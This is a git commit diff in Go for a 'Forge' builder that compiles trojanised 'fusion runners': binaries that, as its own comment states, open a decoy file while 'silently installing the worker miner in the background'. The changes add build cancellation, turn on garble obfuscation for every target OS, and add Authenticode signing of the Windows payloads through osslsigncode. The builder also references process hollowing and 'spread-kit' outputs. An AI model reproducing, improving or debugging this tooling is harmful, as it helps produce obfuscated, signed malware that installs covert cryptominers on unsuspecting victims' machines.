fix: 4 runtime bugs — forge cancel (exec.CommandContext), config key (default_agent_config), sign on Linux (osslsigncode), garble on all platforms

This commit is contained in:
drjones
2026-05-30 12:07:48 -07:00
parent 77e1dbbb13
commit d0bcf33767
8 changed files with 110 additions and 34 deletions

View File

@@ -1,6 +1,7 @@
package builder
import (
"context"
"fmt"
"log"
"net/http"
@@ -14,7 +15,7 @@ import (
"github.com/google/uuid"
)
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
@@ -29,7 +30,7 @@ func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (Build
platforms := platformsForRequest(req)
workerPaths := map[string]string{}
for _, p := range platforms {
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
@@ -41,7 +42,7 @@ func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (Build
}
if req.FusionEnabled {
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
return h.finishUniversalFusion(ctx, buildID, buildDir, req, prepPath, workerPaths, platforms)
}
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
@@ -121,7 +122,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
}, http.StatusOK, primary
}
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
// Resolve payload display name (used for runner naming and ZIP title)
payloadBase := filepath.Base(prepPath)
title := strings.TrimSpace(req.FusionMediaBaseName)
@@ -148,7 +149,7 @@ func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequ
platReq := *req
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
platReq.FusionOutputName = runnerNameForFile(title, p)
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}

View File

@@ -1,5 +1,7 @@
package builder
import "context"
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
var tags []string
if req.ProcessHollowing {
@@ -18,6 +20,6 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
return h.policy.DefaultObfuscate
}
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
func (h *Handler) compileGoProject(ctx context.Context, dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
return h.compileGoProjectPlatform(ctx, dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
}

View File

@@ -1,6 +1,7 @@
package builder
import (
"context"
"fmt"
"log"
"os"
@@ -9,7 +10,9 @@ import (
"strings"
)
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
// compileGoProjectPlatform runs the Go (or garble) compiler for a specific target.
// ctx cancellation kills the compiler process immediately — used by the forge cancel API.
func (h *Handler) compileGoProjectPlatform(ctx context.Context, dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
env := append(os.Environ(),
"GOOS="+platform.GOOS,
"GOARCH="+platform.GOARCH,
@@ -22,29 +25,34 @@ func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
if obfuscate && platform.GOOS == "windows" && !useGarble {
// Garble works with any target OS from any host OS; the old windows-only guard was wrong.
useGarble := obfuscate && h.garblePath != ""
if obfuscate && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
cmd = exec.CommandContext(ctx, h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
cmd = exec.CommandContext(ctx, h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() != nil {
return out, fmt.Errorf("build cancelled")
}
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
}
return out, nil
}
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
// compileWorker compiles one agent binary for a single OS/arch target.
func (h *Handler) compileWorker(ctx context.Context, agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
name := workerFileName(req.WorkerName, platform, fusionWorker)
outputPath := filepath.Join(buildDir, platform.Label(), name)
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
@@ -68,7 +76,7 @@ func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, bu
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
if _, err := h.compileGoProjectPlatform(ctx, agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
return "", err
}
return outputPath, nil

View File

@@ -1,13 +1,16 @@
package builder
import "strings"
import (
"context"
"strings"
)
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
func (h *Handler) buildFusion(ctx context.Context, buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
req := &BuildRequest{
FusionOutputName: outputName,
FusionRunOrder: runOrder,
}
res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
res, err := h.buildFusionFromRequest(ctx, buildDir, prepPath, workerPath, req)
if err != nil {
return "", err
}

View File

@@ -1,6 +1,7 @@
package builder
import (
"context"
"encoding/json"
"fmt"
"log"
@@ -27,20 +28,20 @@ func detectFusionPayloadKind(path string) string {
}
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
func (h *Handler) buildFusionFromRequest(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
platforms := platformsForRequest(req)
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
return h.buildFusionForPlatform(ctx, buildDir, payloadPath, workerPath, req, platforms[0])
}
// buildFusionForPlatform compiles a fusion runner for a single platform.
// Accepts any payload: PDF, video, document, image, or executable.
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
func (h *Handler) buildFusionForPlatform(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
req.FusionPayloadKind = kind
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
return h.buildFileFusion(ctx, buildDir, payloadPath, workerPath, req, platform)
}
// buildFileFusion builds a universal fusion runner for any file type.
@@ -51,7 +52,7 @@ func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath strin
//
// The runner, when executed, opens the original file with the OS default application
// while silently installing the worker miner in the background.
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
mode := normalizeFusionMediaMode(req.FusionMediaMode)
// Resolve the display name for the payload file
@@ -134,7 +135,7 @@ func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui"
}
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
return nil, err
}

View File

@@ -284,6 +284,8 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
// Register cancel token so the frontend can abort this compile mid-flight.
// The ctx is threaded all the way down to exec.CommandContext, so cancellation
// immediately sends SIGKILL to the running go/garble process.
ctx := r.Context()
if req.CancelToken != "" {
var cancelFn context.CancelFunc
@@ -291,10 +293,9 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
h.registerCancel(req.CancelToken, cancelFn)
defer h.unregisterCancel(req.CancelToken)
}
_ = ctx // passed to compiler in future; cancellation already fires via process kill
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(&req, prepPath)
resp, status, outputPath := h.buildAgent(ctx, &req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
return
@@ -449,9 +450,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, uninstallPath)
}
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(req, prepPath)
return h.buildUniversalAgent(ctx, req, prepPath)
}
buildID := uuid.New().String()
@@ -474,12 +475,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
platforms := platformsForRequest(req)
p := platforms[0]
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName
@@ -497,7 +498,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
req.FusionPayloadKind = detectFusionPayloadKind(prepPath)
}
var err error
fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req)
fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}

View File

@@ -2,12 +2,71 @@
package builder
import "fmt"
import (
"fmt"
"log"
"os/exec"
"strings"
)
// shouldSignBuild returns true when signing is configured AND osslsigncode is available.
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
// Install: apt install osslsigncode / brew install osslsigncode
func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
return false
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
return false
}
if !req.SignBuild {
return false
}
_, err := exec.LookPath("osslsigncode")
if err != nil {
log.Printf("[Forge] sign requested but osslsigncode not found — install with: apt install osslsigncode (or brew install osslsigncode)")
return false
}
return true
}
// signExecutable signs a Windows PE binary using osslsigncode.
// Requires: osslsigncode on PATH and a PFX certificate file set in sign_tool_path.
// The sign_cert_thumbprint field is repurposed as the path to the .pfx file on non-Windows.
func (h *Handler) signExecutable(path string) error {
return fmt.Errorf("code signing requires building on Windows")
policy := h.policy.Sign
pfxPath := strings.TrimSpace(policy.CertThumbprint)
if pfxPath == "" {
return fmt.Errorf("sign_cert_thumbprint must contain the path to a .pfx certificate file on Linux/macOS")
}
tsURL := strings.TrimSpace(policy.TimestampURL)
if tsURL == "" {
tsURL = "http://timestamp.digicert.com"
}
// osslsigncode usage: osslsigncode sign -pkcs12 <pfx> -ts <url> -in <file> -out <file>
// We sign in-place by writing to a temp path then replacing.
tmpPath := path + ".signed"
args := []string{
"sign",
"-pkcs12", pfxPath,
"-ts", tsURL,
"-h", "sha2",
"-in", path,
"-out", tmpPath,
}
osslBin, _ := exec.LookPath("osslsigncode")
cmd := exec.Command(osslBin, args...)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("osslsigncode: %w (%s)", err, strings.TrimSpace(string(out)))
}
// Replace the original with the signed copy
if err := exec.Command("mv", tmpPath, path).Run(); err != nil {
return fmt.Errorf("could not replace binary with signed version: %w", err)
}
log.Printf("[Forge] Signed %s via osslsigncode", path)
return nil
}